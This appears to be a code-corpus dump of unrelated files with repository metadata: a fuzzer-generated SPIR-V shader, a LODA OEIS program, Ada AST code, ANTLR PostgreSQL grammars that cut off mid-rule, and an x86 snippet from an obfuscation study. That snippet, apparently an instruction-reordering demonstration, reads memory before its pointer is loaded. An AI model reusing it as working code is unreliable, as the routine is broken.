; SPIR-V ; Version: 1.0 ; Generator: Khronos Glslang Reference Front End; 10 ; Bound: 176 ; Schema: 0 OpCapability Shader %1 = OpExtInstImport "GLSL.std.450" OpMemoryModel Logical GLSL450 OpEntryPoint Fragment %4 "main" %85 %157 OpExecutionMode %4 OriginUpperLeft OpSource ESSL 320 OpName %4 "main" OpName %10 "func0(i1;" OpName %9 "x" OpName %12 "func1(" OpName %18 "m" OpName %33 "buf2" OpMemberName %33 0 "one" OpName %35 "" OpName %43 "buf0" OpMemberName %43 0 "_GLF_uniform_float_values" OpName %45 "" OpName %61 "i" OpName %85 "gl_FragCoord" OpName %93 "param" OpName %100 "buf1" OpMemberName %100 0 "_GLF_uniform_int_values" OpName %102 "" OpName %157 "_GLF_color" OpMemberDecorate %33 0 Offset 0 OpDecorate %33 Block OpDecorate %35 DescriptorSet 0 OpDecorate %35 Binding 2 OpDecorate %42 ArrayStride 16 OpMemberDecorate %43 0 Offset 0 OpDecorate %43 Block OpDecorate %45 DescriptorSet 0 OpDecorate %45 Binding 0 OpDecorate %85 BuiltIn FragCoord OpDecorate %99 ArrayStride 16 OpMemberDecorate %100 0 Offset 0 OpDecorate %100 Block OpDecorate %102 DescriptorSet 0 OpDecorate %102 Binding 1 OpDecorate %157 Location 0 %2 = OpTypeVoid %3 = OpTypeFunction %2 %6 = OpTypeInt 32 1 %7 = OpTypePointer Function %6 %8 = OpTypeFunction %2 %7 %14 = OpTypeFloat 32 %15 = OpTypeVector %14 2 %16 = OpTypeMatrix %15 4 %17 = OpTypePointer Private %16 %18 = OpVariable %17 Private %19 = OpConstant %14 0 %20 = OpConstantComposite %15 %19 %19 %21 = OpConstantComposite %16 %20 %20 %20 %20 %22 = OpTypeBool %24 = OpConstant %6 1 %33 = OpTypeStruct %14 %34 = OpTypePointer Uniform %33 %35 = OpVariable %34 Uniform %36 = OpConstant %6 0 %37 = OpTypePointer Uniform %14 %40 = OpTypeInt 32 0 %41 = OpConstant %40 1 %42 = OpTypeArray %14 %41 %43 = OpTypeStruct %42 %44 = OpTypePointer Uniform %43 %45 = OpVariable %44 Uniform %68 = OpConstant %6 2 %71 = OpConstant %6 3 %76 = OpTypePointer Private %14 %83 = OpTypeVector %14 4 %84 = OpTypePointer Input %83 %85 = OpVariable %84 Input %86 = OpTypePointer Input %14 %98 = OpConstant %40 4 %99 = OpTypeArray %6 %98 %100 = OpTypeStruct %99 %101 = OpTypePointer Uniform %100 %102 = OpVariable %101 Uniform %103 = OpTypePointer Uniform %6 %128 = OpConstant %14 1 %136 = OpTypeVector %22 2 %156 = OpTypePointer Output %83 %157 = OpVariable %156 Output %4 = OpFunction %2 None %3 %5 = OpLabel OpStore %18 %21 %95 = OpFunctionCall %2 %12 %96 = OpFunctionCall %2 %12 %97 = OpLoad %16 %18 %104 = OpAccessChain %103 %102 %36 %36 %105 = OpLoad %6 %104 %106 = OpConvertSToF %14 %105 %107 = OpAccessChain %103 %102 %36 %36 %108 = OpLoad %6 %107 %109 = OpConvertSToF %14 %108 %110 = OpAccessChain %103 %102 %36 %24 %111 = OpLoad %6 %110 %112 = OpConvertSToF %14 %111 %113 = OpAccessChain %103 %102 %36 %24 %114 = OpLoad %6 %113 %115 = OpConvertSToF %14 %114 %116 = OpAccessChain %103 %102 %36 %36 %117 = OpLoad %6 %116 %118 = OpConvertSToF %14 %117 %119 = OpAccessChain %103 %102 %36 %36 %120 = OpLoad %6 %119 %121 = OpConvertSToF %14 %120 %122 = OpAccessChain %103 %102 %36 %36 %123 = OpLoad %6 %122 %124 = OpConvertSToF %14 %123 %125 = OpAccessChain %103 %102 %36 %36 %126 = OpLoad %6 %125 %127 = OpConvertSToF %14 %126 %129 = OpCompositeConstruct %15 %106 %109 %130 = OpCompositeConstruct %15 %112 %115 %131 = OpCompositeConstruct %15 %118 %121 %132 = OpCompositeConstruct %15 %124 %127 %133 = OpCompositeConstruct %16 %129 %130 %131 %132 %134 = OpCompositeExtract %15 %97 0 %135 = OpCompositeExtract %15 %133 0 %137 = OpFOrdEqual %136 %134 %135 %138 = OpAll %22 %137 %139 = OpCompositeExtract %15 %97 1 %140 = OpCompositeExtract %15 %133 1 %141 = OpFOrdEqual %136 %139 %140 %142 = OpAll %22 %141 %143 = OpLogicalAnd %22 %138 %142 %144 = OpCompositeExtract %15 %97 2 %145 = OpCompositeExtract %15 %133 2 %146 = OpFOrdEqual %136 %144 %145 %147 = OpAll %22 %146 %148 = OpLogicalAnd %22 %143 %147 %149 = OpCompositeExtract %15 %97 3 %150 = OpCompositeExtract %15 %133 3 %151 = OpFOrdEqual %136 %149 %150 %152 = OpAll %22 %151 %153 = OpLogicalAnd %22 %148 %152 OpSelectionMerge %155 None OpBranchConditional %153 %154 %171 %154 = OpLabel %158 = OpAccessChain %103 %102 %36 %71 %159 = OpLoad %6 %158 %160 = OpConvertSToF %14 %159 %161 = OpAccessChain %103 %102 %36 %36 %162 = OpLoad %6 %161 %163 = OpConvertSToF %14 %162 %164 = OpAccessChain %103 %102 %36 %36 %165 = OpLoad %6 %164 %166 = OpConvertSToF %14 %165 %167 = OpAccessChain %103 %102 %36 %71 %168 = OpLoad %6 %167 %169 = OpConvertSToF %14 %168 %170 = OpCompositeConstruct %83 %160 %163 %166 %169 OpStore %157 %170 OpBranch %155 %171 = OpLabel %172 = OpAccessChain %103 %102 %36 %36 %173 = OpLoad %6 %172 %174 = OpConvertSToF %14 %173 %175 = OpCompositeConstruct %83 %174 %174 %174 %174 OpStore %157 %175 OpBranch %155 %155 = OpLabel OpReturn OpFunctionEnd %10 = OpFunction %2 None %8 %9 = OpFunctionParameter %7 %11 = OpLabel %61 = OpVariable %7 Function %23 = OpLoad %6 %9 %25 = OpSLessThan %22 %23 %24 %26 = OpLogicalNot %22 %25 OpSelectionMerge %28 None OpBranchConditional %26 %27 %28 %27 = OpLabel %29 = OpLoad %6 %9 %30 = OpSGreaterThan %22 %29 %24 OpSelectionMerge %32 None OpBranchConditional %30 %31 %32 %31 = OpLabel %38 = OpAccessChain %37 %35 %36 %39 = OpLoad %14 %38 %46 = OpAccessChain %37 %45 %36 %36 %47 = OpLoad %14 %46 %48 = OpFOrdGreaterThan %22 %39 %47 OpBranch %32 %32 = OpLabel %49 = OpPhi %22 %30 %27 %48 %31 OpBranch %28 %28 = OpLabel %50 = OpPhi %22 %25 %11 %49 %32 OpSelectionMerge %52 None OpBranchConditional %50 %51 %52 %51 = OpLabel OpReturn %52 = OpLabel %54 = OpAccessChain %37 %35 %36 %55 = OpLoad %14 %54 %56 = OpAccessChain %37 %45 %36 %36 %57 = OpLoad %14 %56 %58 = OpFOrdEqual %22 %55 %57 OpSelectionMerge %60 None OpBranchConditional %58 %59 %60 %59 = OpLabel OpStore %61 %36 OpBranch %62 %62 = OpLabel OpLoopMerge %64 %65 None OpBranch %66 %66 = OpLabel %67 = OpLoad %6 %61 %69 = OpSLessThan %22 %67 %68 OpBranchConditional %69 %63 %64 %63 = OpLabel %70 = OpLoad %6 %9 %72 = OpExtInst %6 %1 SClamp %70 %36 %71 %73 = OpLoad %6 %61 %74 = OpAccessChain %37 %45 %36 %36 %75 = OpLoad %14 %74 %77 = OpAccessChain %76 %18 %72 %73 %78 = OpLoad %14 %77 %79 = OpFAdd %14 %78 %75 %80 = OpAccessChain %76 %18 %72 %73 OpStore %80 %79 OpBranch %65 %65 = OpLabel %81 = OpLoad %6 %61 %82 = OpIAdd %6 %81 %24 OpStore %61 %82 OpBranch %62 %64 = OpLabel OpBranch %60 %60 = OpLabel OpReturn OpFunctionEnd %12 = OpFunction %2 None %3 %13 = OpLabel %93 = OpVariable %7 Function %87 = OpAccessChain %86 %85 %41 %88 = OpLoad %14 %87 %89 = OpFOrdLessThan %22 %88 %19 OpSelectionMerge %91 None OpBranchConditional %89 %90 %91 %90 = OpLabel OpReturn %91 = OpLabel OpStore %93 %24 %94 = OpFunctionCall %2 %10 %93 OpReturn OpFunctionEnd
programs/oeis/057/A057427.asm
neoneye/loda
22
87277
<reponame>neoneye/loda ; A057427: a(n) = 1 if n > 0, a(n) = 0 if n = 0; series expansion of x/(1-x). ; 0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 pow $2,$0 pow $1,$2 mov $0,$1
source/nodes/program-nodes-discriminant_specifications.adb
reznikmm/gela
0
15602
<gh_stars>0 -- SPDX-FileCopyrightText: 2019 <NAME> <<EMAIL>> -- -- SPDX-License-Identifier: MIT ------------------------------------------------------------- package body Program.Nodes.Discriminant_Specifications is function Create (Names : not null Program.Elements.Defining_Identifiers .Defining_Identifier_Vector_Access; Colon_Token : not null Program.Lexical_Elements .Lexical_Element_Access; Not_Token : Program.Lexical_Elements.Lexical_Element_Access; Null_Token : Program.Lexical_Elements.Lexical_Element_Access; Object_Subtype : not null Program.Elements.Element_Access; Assignment_Token : Program.Lexical_Elements.Lexical_Element_Access; Default_Expression : Program.Elements.Expressions.Expression_Access) return Discriminant_Specification is begin return Result : Discriminant_Specification := (Names => Names, Colon_Token => Colon_Token, Not_Token => Not_Token, Null_Token => Null_Token, Object_Subtype => Object_Subtype, Assignment_Token => Assignment_Token, Default_Expression => Default_Expression, Enclosing_Element => null) do Initialize (Result); end return; end Create; function Create (Names : not null Program.Elements.Defining_Identifiers .Defining_Identifier_Vector_Access; Object_Subtype : not null Program.Elements.Element_Access; Default_Expression : Program.Elements.Expressions.Expression_Access; Is_Part_Of_Implicit : Boolean := False; Is_Part_Of_Inherited : Boolean := False; Is_Part_Of_Instance : Boolean := False; Has_Not_Null : Boolean := False) return Implicit_Discriminant_Specification is begin return Result : Implicit_Discriminant_Specification := (Names => Names, Object_Subtype => Object_Subtype, Default_Expression => Default_Expression, Is_Part_Of_Implicit => Is_Part_Of_Implicit, Is_Part_Of_Inherited => Is_Part_Of_Inherited, Is_Part_Of_Instance => Is_Part_Of_Instance, Has_Not_Null => Has_Not_Null, Enclosing_Element => null) do Initialize (Result); end return; end Create; overriding function Names (Self : Base_Discriminant_Specification) return not null Program.Elements.Defining_Identifiers .Defining_Identifier_Vector_Access is begin return Self.Names; end Names; overriding function Object_Subtype (Self : Base_Discriminant_Specification) return not null Program.Elements.Element_Access is begin return Self.Object_Subtype; end Object_Subtype; overriding function Default_Expression (Self : Base_Discriminant_Specification) return Program.Elements.Expressions.Expression_Access is begin return Self.Default_Expression; end Default_Expression; overriding function Colon_Token (Self : Discriminant_Specification) return not null Program.Lexical_Elements.Lexical_Element_Access is begin return Self.Colon_Token; end Colon_Token; overriding function Not_Token (Self : Discriminant_Specification) return Program.Lexical_Elements.Lexical_Element_Access is begin return Self.Not_Token; end Not_Token; overriding function Null_Token (Self : Discriminant_Specification) return Program.Lexical_Elements.Lexical_Element_Access is begin return Self.Null_Token; end Null_Token; overriding function Assignment_Token (Self : Discriminant_Specification) return Program.Lexical_Elements.Lexical_Element_Access is begin return Self.Assignment_Token; end Assignment_Token; overriding function Has_Not_Null (Self : Discriminant_Specification) return Boolean is begin return Self.Null_Token.Assigned; end Has_Not_Null; overriding function Is_Part_Of_Implicit (Self : Implicit_Discriminant_Specification) return Boolean is begin return Self.Is_Part_Of_Implicit; end Is_Part_Of_Implicit; overriding function Is_Part_Of_Inherited (Self : Implicit_Discriminant_Specification) return Boolean is begin return Self.Is_Part_Of_Inherited; end Is_Part_Of_Inherited; overriding function Is_Part_Of_Instance (Self : Implicit_Discriminant_Specification) return Boolean is begin return Self.Is_Part_Of_Instance; end Is_Part_Of_Instance; overriding function Has_Not_Null (Self : Implicit_Discriminant_Specification) return Boolean is begin return Self.Has_Not_Null; end Has_Not_Null; procedure Initialize (Self : in out Base_Discriminant_Specification'Class) is begin for Item in Self.Names.Each_Element loop Set_Enclosing_Element (Item.Element, Self'Unchecked_Access); end loop; Set_Enclosing_Element (Self.Object_Subtype, Self'Unchecked_Access); if Self.Default_Expression.Assigned then Set_Enclosing_Element (Self.Default_Expression, Self'Unchecked_Access); end if; null; end Initialize; overriding function Is_Discriminant_Specification (Self : Base_Discriminant_Specification) return Boolean is pragma Unreferenced (Self); begin return True; end Is_Discriminant_Specification; overriding function Is_Declaration (Self : Base_Discriminant_Specification) return Boolean is pragma Unreferenced (Self); begin return True; end Is_Declaration; overriding procedure Visit (Self : not null access Base_Discriminant_Specification; Visitor : in out Program.Element_Visitors.Element_Visitor'Class) is begin Visitor.Discriminant_Specification (Self); end Visit; overriding function To_Discriminant_Specification_Text (Self : in out Discriminant_Specification) return Program.Elements.Discriminant_Specifications .Discriminant_Specification_Text_Access is begin return Self'Unchecked_Access; end To_Discriminant_Specification_Text; overriding function To_Discriminant_Specification_Text (Self : in out Implicit_Discriminant_Specification) return Program.Elements.Discriminant_Specifications .Discriminant_Specification_Text_Access is pragma Unreferenced (Self); begin return null; end To_Discriminant_Specification_Text; end Program.Nodes.Discriminant_Specifications;
sharding-core/src/main/antlr4/imports/PostgreSQLTruncateTable.g4
chuanandongxu/sharding-sphere
0
5500
grammar PostgreSQLTruncateTable; import PostgreSQLKeyword, Keyword, PostgreSQLBase, BaseRule, Symbol; truncateTable : TRUNCATE TABLE? ONLY? tableNameParts ; tableNameParts : tableNamePart (COMMA tableNamePart)* ; tableNamePart : tableName ASTERISK? ;
zdrojaky/obfuskace/zmena-poradi-kodu1.asm
Zelvar/VSB-DP-TEXT
0
98491
<reponame>Zelvar/VSB-DP-TEXT arrayMax: enter 0,0 mov eax, [ edx ] mov edx, [ ebp + 8 ] mov ecx, [ ebp + 12 ] .back: cmp eax, [ edx + ecx * 4 - 4 ] jg .skip mov eax, [ edx + ecx * 4 - 4 ] .skip: loop .back leave ret
shardingsphere-sql-parser/shardingsphere-sql-parser-dialect/shardingsphere-sql-parser-postgresql/src/main/antlr4/imports/postgresql/BaseRule.g4
azexcy/shardingsphere
0
5536
<filename>shardingsphere-sql-parser/shardingsphere-sql-parser-dialect/shardingsphere-sql-parser-postgresql/src/main/antlr4/imports/postgresql/BaseRule.g4<gh_stars>0 /* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ parser grammar BaseRule; options { tokenVocab = ModeLexer; } parameterMarker : QUESTION_ literalsType? | DOLLAR_ numberLiterals ; reservedKeyword : ALL | ANALYSE | ANALYZE | AND | ANY | ARRAY | AS | ASC | ASYMMETRIC | BOTH | CASE | CAST | CHECK | COLLATE | COLUMN | CONSTRAINT | CREATE | CURRENT_CATALOG | CURRENT_DATE | CURRENT_ROLE | CURRENT_TIME | CURRENT_TIMESTAMP | CURRENT_USER | DEFAULT | DEFERRABLE | DESC | DISTINCT | DO | ELSE | END | EXCEPT | FALSE | FETCH | FOR | FOREIGN | FROM | GRANT | GROUP | HAVING | IN | INITIALLY | INTERSECT | INTO | LATERAL | LEADING | LIMIT | LOCALTIME | LOCALTIMESTAMP | NOT | NULL | OFFSET | ON | ONLY | OR | ORDER | PLACING | PRIMARY | REFERENCES | RETURNING | SELECT | SESSION_USER | SOME | SYMMETRIC | TABLE | THEN | TO | TRAILING | TRUE | UNION | UNIQUE | USER | USING | VARIADIC | WHEN | WHERE | WINDOW | WITH ; numberLiterals : MINUS_? NUMBER_ literalsType? ; literalsType : TYPE_CAST_ IDENTIFIER_ ; identifier : UNICODE_ESCAPE? IDENTIFIER_ uescape? | unreservedWord ; uescape : UESCAPE STRING_ ; unreservedWord : ABORT | ABSOLUTE | ACCESS | ACTION | ADD | ADMIN | AFTER | AGGREGATE | ALSO | ALTER | ALWAYS | ASSERTION | ASSIGNMENT | AT | ATTACH | ATTRIBUTE | BACKWARD | BEFORE | BEGIN | BY | CACHE | CALL | CALLED | CASCADE | CASCADED | CATALOG | CHAIN | CHARACTERISTICS | CHECKPOINT | CLASS | CLOSE | CLUSTER | COLUMNS | COMMENT | COMMENTS | COMMIT | COMMITTED | CONFIGURATION | CONFLICT | CONNECTION | CONSTRAINTS | CONTENT | CONTINUE | CONVERSION | COPY | COST | CSV | CUBE | CURRENT | CURSOR | CYCLE | DATA | DATABASE | DAY | DEALLOCATE | DECLARE | DEFAULTS | DEFERRED | DEFINER | DELETE | DELIMITER | DELIMITERS | DEPENDS | DETACH | DICTIONARY | DISABLE | DISCARD | DOCUMENT | DOMAIN | DOUBLE | DROP | EACH | ENABLE | ENCODING | ENCRYPTED | ENUM | ESCAPE | EVENT | EXCLUDE | EXCLUDING | EXCLUSIVE | EXECUTE | EXPLAIN | EXPRESSION | EXTENDED | EXTENSION | EXTERNAL | FAMILY | FILTER | FIRST | FOLLOWING | FORCE | FORWARD | FUNCTION | FUNCTIONS | GENERATED | GLOBAL | GRANTED | GROUPS | HANDLER | HEADER | HOLD | HOUR | IDENTITY | IF | IMMEDIATE | IMMUTABLE | IMPLICIT | IMPORT | INCLUDE | INCLUDING | INCREMENT | INDEX | INDEXES | INHERIT | INHERITS | INLINE | INPUT | INSENSITIVE | INSERT | INSTEAD | INVOKER | INTERVAL | ISOLATION | KEY | LABEL | LANGUAGE | LARGE | LAST | LEAKPROOF | LEVEL | LISTEN | LOAD | LOCAL | LOCATION | LOCK | LOCKED | LOGGED | MAIN | MAPPING | MATCH | MATERIALIZED | MAXVALUE | METHOD | MINUTE | MINVALUE | MODE | MONTH | MOVE | MOD | NAME | NAMES | NEW | NEXT | NFC | NFD | NFKC | NFKD | NO | NORMALIZED | NOTHING | NOTIFY | NOWAIT | NULLS | OBJECT | OF | OFF | OIDS | OLD | OPERATOR | OPTION | OPTIONS | ORDINALITY | OTHERS | OVER | OVERRIDING | OWNED | OWNER | PARALLEL | PARSER | PARTIAL | PARTITION | PASSING | PASSWORD | PLAIN | PLANS | POLICY | PRECEDING | PREPARE | PREPARED | PRESERVE | PRIOR | PRIVILEGES | PROCEDURAL | PROCEDURE | PROCEDURES | PROGRAM | PUBLICATION | QUOTE | RANGE | READ | REASSIGN | RECHECK | RECURSIVE | REF | REFERENCING | REFRESH | REINDEX | RELATIVE | RELEASE | RENAME | REPEATABLE | REPLACE | REPLICA | RESET | RESTART | RESTRICT | RETURNS | REVOKE | ROLE | ROLLBACK | ROLLUP | ROUTINE | ROUTINES | ROWS | RULE | SAVEPOINT | SCHEMA | SCHEMAS | SCROLL | SEARCH | SECOND | SECURITY | SEQUENCE | SEQUENCES | SERIALIZABLE | SERVER | SESSION | SET | SETS | SHARE | SHOW | SIMPLE // | SKIP | SNAPSHOT | SQL | STABLE | STANDALONE | START | STATEMENT | STATISTICS | STDIN | STDOUT | STORAGE | STORED | STRICT | STRIP | SUBSCRIPTION | SUPPORT | SYSID | SYSTEM | TABLES | TABLESPACE | TEMP | TEMPLATE | TEMPORARY | TEXT | TIES | TRANSACTION | TRANSFORM | TRIGGER | TRUNCATE | TRUSTED | TYPE | TYPES | TIME | TIMESTAMP | UESCAPE | UNBOUNDED | UNCOMMITTED | UNENCRYPTED | UNKNOWN | UNLISTEN | UNLOGGED | UNTIL | UPDATE | VACUUM | VALID | VALIDATE | VALIDATOR | VALUE | VARYING | VERSION | VIEW | VIEWS | VOLATILE | WHITESPACE | WITHIN | WITHOUT | WORK | WRAPPER | WRITE | XML | YEAR | YES | ZONE | JSON | PARAM | TABLE ; typeFuncNameKeyword : AUTHORIZATION | BINARY | COLLATION | CONCURRENTLY | CROSS | CURRENT_SCHEMA | FREEZE | FULL | ILIKE | INNER | IS | ISNULL | JOIN | LEFT | LIKE | NATURAL | NOTNULL | OUTER | OVERLAPS | RIGHT | SIMILAR | TABLESAMPLE | VERBOSE ; schemaName : (owner DOT_)? identifier ; tableName : (owner DOT_)? name ; columnName : (owner DOT_)? name ; owner : identifier ; name : identifier ; tableNames : LP_? tableName (COMMA_ tableName)* RP_? ; columnNames : LP_ columnName (COMMA_ columnName)* RP_ ; collationName : STRING_ | identifier ; indexName : identifier ; constraintName : identifier ; alias : identifier ; primaryKey : PRIMARY? KEY ; andOperator : AND | AND_ ; orOperator : OR | OR_ ; comparisonOperator : EQ_ | GTE_ | GT_ | LTE_ | LT_ | NEQ_ ; patternMatchingOperator : LIKE | TILDE_TILDE_ | NOT LIKE | NOT_TILDE_TILDE_ | ILIKE | ILIKE_ | NOT ILIKE | NOT_ILIKE_ | SIMILAR TO | NOT SIMILAR TO | TILDE_ | NOT_ TILDE_ | TILDE_ ASTERISK_ | NOT_ TILDE_ ASTERISK_ ; cursorName : name ; aExpr : cExpr | aExpr TYPE_CAST_ typeName | aExpr COLLATE anyName | aExpr AT TIME ZONE aExpr | PLUS_ aExpr | MINUS_ aExpr | aExpr PLUS_ aExpr | aExpr MINUS_ aExpr | aExpr ASTERISK_ aExpr | aExpr SLASH_ aExpr | aExpr MOD_ aExpr | aExpr CARET_ aExpr | aExpr AMPERSAND_ aExpr | aExpr VERTICAL_BAR_ aExpr | aExpr qualOp aExpr | qualOp aExpr | aExpr qualOp | aExpr comparisonOperator aExpr | NOT aExpr | aExpr patternMatchingOperator aExpr | aExpr patternMatchingOperator aExpr ESCAPE aExpr | aExpr IS NULL | aExpr ISNULL | aExpr IS NOT NULL | aExpr NOTNULL | row OVERLAPS row | aExpr IS TRUE | aExpr IS NOT TRUE | aExpr IS FALSE | aExpr IS NOT FALSE | aExpr IS UNKNOWN | aExpr IS NOT UNKNOWN | aExpr IS DISTINCT FROM aExpr | aExpr IS NOT DISTINCT FROM aExpr | aExpr IS OF LP_ typeList RP_ | aExpr IS NOT OF LP_ typeList RP_ | aExpr BETWEEN ASYMMETRIC? bExpr AND aExpr | aExpr NOT BETWEEN ASYMMETRIC? bExpr AND aExpr | aExpr BETWEEN SYMMETRIC bExpr AND aExpr | aExpr NOT BETWEEN SYMMETRIC bExpr AND aExpr | aExpr IN inExpr | aExpr NOT IN inExpr | aExpr subqueryOp subType selectWithParens | aExpr subqueryOp subType LP_ aExpr RP_ | UNIQUE selectWithParens | aExpr IS DOCUMENT | aExpr IS NOT DOCUMENT | aExpr IS NORMALIZED | aExpr IS unicodeNormalForm NORMALIZED | aExpr IS NOT NORMALIZED | aExpr IS NOT unicodeNormalForm NORMALIZED | aExpr andOperator aExpr | aExpr orOperator aExpr | DEFAULT ; bExpr : cExpr | bExpr TYPE_CAST_ typeName | PLUS_ bExpr | MINUS_ bExpr | bExpr qualOp bExpr | qualOp bExpr | bExpr qualOp | bExpr IS DISTINCT FROM bExpr | bExpr IS NOT DISTINCT FROM bExpr | bExpr IS OF LP_ typeList RP_ | bExpr IS NOT OF LP_ typeList RP_ | bExpr IS DOCUMENT | bExpr IS NOT DOCUMENT ; cExpr : parameterMarker | columnref | aexprConst | PARAM indirectionEl? | LP_ aExpr RP_ optIndirection | caseExpr | funcExpr | selectWithParens | selectWithParens indirection | EXISTS selectWithParens | ARRAY selectWithParens | ARRAY arrayExpr | explicitRow | implicitRow | GROUPING LP_ exprList RP_ ; indirection : indirectionEl | indirection indirectionEl ; optIndirection : optIndirection indirectionEl | ; indirectionEl : DOT_ attrName | DOT_ ASTERISK_ | LBT_ aExpr RBT_ | LBT_ sliceBound? COLON_ sliceBound? RBT_ ; sliceBound : aExpr ; inExpr : selectWithParens | LP_ exprList RP_ ; caseExpr : CASE caseArg? whenClauseList caseDefault? END ; whenClauseList : whenClause+ ; whenClause : WHEN aExpr THEN aExpr ; caseDefault : ELSE aExpr ; caseArg : aExpr ; columnref : colId | colId indirection ; qualOp : jsonOperator | OPERATOR LP_ anyOperator RP_ ; subqueryOp : allOp | OPERATOR LP_ anyOperator RP_ | LIKE | NOT LIKE | TILDE_ | NOT_ TILDE_ ; allOp : op | mathOperator ; op : (AND_ | OR_ | NOT_ | TILDE_ | VERTICAL_BAR_ | AMPERSAND_ | SIGNED_LEFT_SHIFT_ | SIGNED_RIGHT_SHIFT_ | CARET_ | MOD_ | COLON_ | PLUS_ | MINUS_ | ASTERISK_ | SLASH_ | BACKSLASH_ | DOT_ | DOT_ASTERISK_ | SAFE_EQ_ | DEQ_ | EQ_ | CQ_ | NEQ_ | GT_ | GTE_ | LT_ | LTE_ | POUND_ | LP_ | RP_ | LBE_ | RBE_ | LBT_ | RBT_ | COMMA_ | DQ_ | SQ_ | BQ_ | QUESTION_ | AT_ | SEMI_ | TILDE_TILDE_ | NOT_TILDE_TILDE_ | TYPE_CAST_ )+ ; mathOperator : PLUS_ | MINUS_ | ASTERISK_ | SLASH_ | MOD_ | CARET_ | LT_ | GT_ | EQ_ | LTE_ | GTE_ | NEQ_ ; jsonOperator : JSON_EXTRACT_ # jsonExtract | JSON_EXTRACT_TEXT_ # jsonExtractText | JSON_PATH_EXTRACT_ # jsonPathExtract | JSON_PATH_EXTRACT_TEXT_ # jsonPathExtractText | JSONB_CONTAIN_RIGHT_ # jsonbContainRight | JSONB_CONTAIN_LEFT_ # jsonbContainLeft | QUESTION_ # jsonbContainTopKey | QUESTION_ VERTICAL_BAR_ # jsonbContainAnyTopKey | JSONB_CONTAIN_ALL_TOP_KEY_ # jsonbContainAllTopKey | OR_ # jsonbConcat | MINUS_ # jsonbDelete | JSONB_PATH_DELETE_ # jsonbPathDelete | JSONB_PATH_CONTAIN_ANY_VALUE_ # jsonbPathContainAnyValue | JSONB_PATH_PREDICATE_CHECK_ # jsonbPathPredicateCheck ; qualAllOp : allOp | OPERATOR LP_ anyOperator RP_ ; ascDesc : ASC | DESC ; anyOperator : allOp | colId DOT_ anyOperator ; frameClause : (RANGE|ROWS|GROUPS) frameExtent windowExclusionClause? ; frameExtent : frameBound | BETWEEN frameBound AND frameBound ; frameBound : UNBOUNDED PRECEDING | UNBOUNDED FOLLOWING | CURRENT ROW | aExpr PRECEDING | aExpr FOLLOWING ; windowExclusionClause : EXCLUDE CURRENT ROW | EXCLUDE GROUP | EXCLUDE TIES | EXCLUDE NO OTHERS ; row : ROW LP_ exprList RP_ | ROW LP_ RP_ | LP_ exprList COMMA_ aExpr RP_ ; explicitRow : ROW LP_ exprList RP_ | ROW LP_ RP_ ; implicitRow : LP_ exprList COMMA_ aExpr RP_ ; subType : ANY | SOME | ALL ; arrayExpr : LBT_ exprList RBT_ | LBT_ arrayExprList RBT_ | LBT_ RBT_ ; arrayExprList : arrayExpr (COMMA_ arrayExpr)* ; funcArgList : funcArgExpr (COMMA_ funcArgExpr)* ; paramName : typeFunctionName ; funcArgExpr : aExpr | paramName CQ_ aExpr | paramName GTE_ aExpr ; typeList : typeName (COMMA_ typeName)* ; funcApplication : funcName LP_ RP_ | funcName LP_ funcArgList sortClause? RP_ | funcName LP_ VARIADIC funcArgExpr sortClause? RP_ | funcName LP_ funcArgList COMMA_ VARIADIC funcArgExpr sortClause? RP_ | funcName LP_ ALL funcArgList sortClause? RP_ | funcName LP_ DISTINCT funcArgList sortClause? RP_ | funcName LP_ ASTERISK_ RP_ ; funcName : typeFunctionName | colId indirection ; aexprConst : NUMBER_ | STRING_ | BEGIN_DOLLAR_STRING_CONSTANT DOLLAR_TEXT* END_DOLLAR_STRING_CONSTANT | funcName STRING_ | funcName LP_ funcArgList sortClause? RP_ STRING_ | TRUE | FALSE | NULL ; qualifiedName : colId | colId indirection ; colId : identifier ; typeFunctionName : identifier | unreservedWord | typeFuncNameKeyword ; functionTable : functionExprWindowless ordinality? | ROWS FROM LP_ rowsFromList RP_ ordinality? ; xmlTable : XMLTABLE LP_ cExpr xmlExistsArgument COLUMNS xmlTableColumnList RP_ | XMLTABLE LP_ XMLNAMESPACES LP_ xmlNamespaceList RP_ COMMA_ cExpr xmlExistsArgument COLUMNS xmlTableColumnList RP_ ; xmlTableColumnList : xmlTableColumnEl (COMMA_ xmlTableColumnEl)* ; xmlTableColumnEl : colId typeName | colId typeName xmlTableColumnOptionList | colId FOR ORDINALITY ; xmlTableColumnOptionList : xmlTableColumnOptionEl | xmlTableColumnOptionList xmlTableColumnOptionEl ; xmlTableColumnOptionEl : identifier bExpr | DEFAULT bExpr | NOT NULL | NULL ; xmlNamespaceList : xmlNamespaceEl (COMMA_ xmlNamespaceEl)* ; xmlNamespaceEl : bExpr AS identifier | DEFAULT bExpr ; funcExpr : funcApplication withinGroupClause? filterClause? overClause? | functionExprCommonSubexpr ; withinGroupClause : WITHIN GROUP LP_ sortClause RP_ ; filterClause : FILTER LP_ WHERE aExpr RP_ ; functionExprWindowless : funcApplication | functionExprCommonSubexpr ; ordinality : WITH ORDINALITY ; functionExprCommonSubexpr : COLLATION FOR LP_ aExpr RP_ | CURRENT_DATE | CURRENT_TIME | CURRENT_TIME LP_ NUMBER_ RP_ | CURRENT_TIMESTAMP | CURRENT_TIMESTAMP LP_ NUMBER_ RP_ | LOCALTIME | LOCALTIME LP_ NUMBER_ RP_ | LOCALTIMESTAMP | LOCALTIMESTAMP LP_ NUMBER_ RP_ | CURRENT_ROLE | CURRENT_USER | SESSION_USER | USER | CURRENT_CATALOG | CURRENT_SCHEMA | CAST LP_ aExpr AS typeName RP_ | EXTRACT LP_ extractList? RP_ | NORMALIZE LP_ aExpr RP_ | NORMALIZE LP_ aExpr COMMA_ unicodeNormalForm RP_ | OVERLAY LP_ overlayList RP_ | POSITION LP_ positionList RP_ | SUBSTRING LP_ substrList RP_ | 